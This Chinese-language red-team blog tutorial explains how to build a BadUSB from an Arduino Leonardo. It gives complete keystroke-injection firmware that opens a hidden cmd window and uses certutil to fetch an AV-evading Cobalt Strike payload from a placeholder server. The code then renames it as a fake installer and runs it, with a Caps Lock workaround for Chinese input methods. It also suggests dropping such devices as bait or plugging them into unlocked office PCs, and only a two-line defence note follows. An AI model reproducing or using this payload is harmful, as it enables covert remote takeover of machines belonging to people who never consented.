安全笔记|红队社工之BadUSB


文章目录

  • 什么是BadUSB
  • BadUSB攻击方式
  • 制作BadUSB
  • 作用
  • 目标机器默认中文输入法
  • 解决方法
  • cs免杀马
  • 键盘操作流程
  • 编译烧录
  • 防御措施

什么是BadUSB BadUSB最早是在2014年的黑帽大会上研究人员JakobLell和Karsten Nohl提出并展示的。不同于老式的U盘病毒,它利用了USB协议中的一个漏洞,通过模拟键盘、鼠标、网卡等从而让目标电脑执行恶意代码,达到控住主机或者窃取敏感信息等目的。由于恶意代码位于U盘中的固件中,所以杀软无法访问和查杀U盘固件区域,但是如果恶意代码落盘或者恶意行为可以被监控或拦截。
BadUSB攻击方式 1.物理入侵,简单点找一些未锁屏的办公电脑挨个插入。2.U盘钓鱼,通过伪装成一个普通移动U盘撒向目标范围内引起目标注意。3.摆渡攻击,通常是攻击局域网内部系统,当再次插入互联网设备中敏感信息被传输。
制作BadUSB 准备开发板:(淘宝上搞一个)
2.准备开发环境:下载Ardiuno IDE
下载地址:https://cloud.codess-nas.top:5213/s/ApT2?path=%2F
安全笔记|红队社工之BadUSB
文章图片

安装成功后,打开工具 工具——开发板——开发板管理器
安全笔记|红队社工之BadUSB
文章图片

搜索Arduino AVR Boards板子进行安装
安全笔记|红队社工之BadUSB
文章图片

制作不同的badusb要安装不同的开发板模块 我们制作的是Leonardo,所以选中leonardo开发板,进行安装即可
安全笔记|红队社工之BadUSB
文章图片

选择开发版为:"Arduino leonardo 编程器:AVRISP MKLL
选择对应的端口连接
我的电脑管理——设备管理中会出现一个端口
安全笔记|红队社工之BadUSB
文章图片

安全笔记|红队社工之BadUSB
文章图片

作用 可制作蓝屏、远控、硬件烧毁…
本次实现:cs远控
目标机器默认中文输入法 在实际利用情况下,如果目标默认使用的是中文输入法,当插入badusb模拟键盘输入时,会影响正常输入。比如输入-w hidden,实际输出为-我hidden
安全笔记|红队社工之BadUSB
文章图片

解决方法 模拟KEY_CAPS_LOCK按键,在默认使用中英文输入法时都适用,唯一不适应的情况是对方默认使用中文输入法且开启了大写输入。
cs免杀马 使用在线工具库生成cs免杀马
将cs免杀马上传到服务器上,开启http服务,供后面下载使用。
3.x>Python >= 2.4 开启http服务
python -m SimpleHTTPServer 9899

安全笔记|红队社工之BadUSB
文章图片

键盘操作流程 首先按下win+r键,打开cmd,下载放在服务器上的免杀马(http://xxx.xxx.xxx:9899/shell.exe),执行免杀马,cs上线。
编译烧录 把代码编译烧录到badusb
#includevoid setup() {//初始化 Keyboard.begin(); //开始键盘通讯 delay(5000); //延时 Keyboard.press(KEY_CAPS_LOCK); //按下大写键 这里我们最好这样写 不然大多数电脑在中文输入的情况下就会出现问题 Keyboard.release(KEY_CAPS_LOCK); //释放大写键 delay(200); Keyboard.press(KEY_LEFT_GUI); //win键 delay(200); Keyboard.press('r'); //r键 delay(200); Keyboard.release(KEY_LEFT_GUI); Keyboard.release('r'); Keyboard.println("cmd /t:01 /k @echo off && mode con:cols=15 lines=1"); delay(200); Keyboard.println("certutil -urlcache -split -f http://xxx.xxx.xxx:9899/shell.exe C:\\setup_11.5.0.exe"); //下载shell到本地,重命名 delay(1000); delay(1000); Keyboard.println("c:\\setup_11.5.0.exe"); delay(500); Keyboard.println("c:\\setup_11.5.0.exe"); delay(500); Keyboard.println("exit"); delay(500); Keyboard.press(KEY_CAPS_LOCK); //按下大写键 Keyboard.release(KEY_CAPS_LOCK); //释放大写键 我们再次关闭开启的大写键 delay(400); Keyboard.end(); //结束键盘通讯 } void loop()//循环 { }

安全笔记|红队社工之BadUSB
文章图片

点击?,输出没有报错,我们直接点击??烧录进badusb即可制作成功就可以愉快的玩耍了
插谁谁上线,这里仅展示几张成功上线的图片
安全笔记|红队社工之BadUSB
文章图片

配合server酱非常好用
安全笔记|红队社工之BadUSB
文章图片

防御措施 【安全笔记|红队社工之BadUSB】1.不插陌生的USB设备。2.使用360的SecUSB或者腾讯的SecLine。

    推荐阅读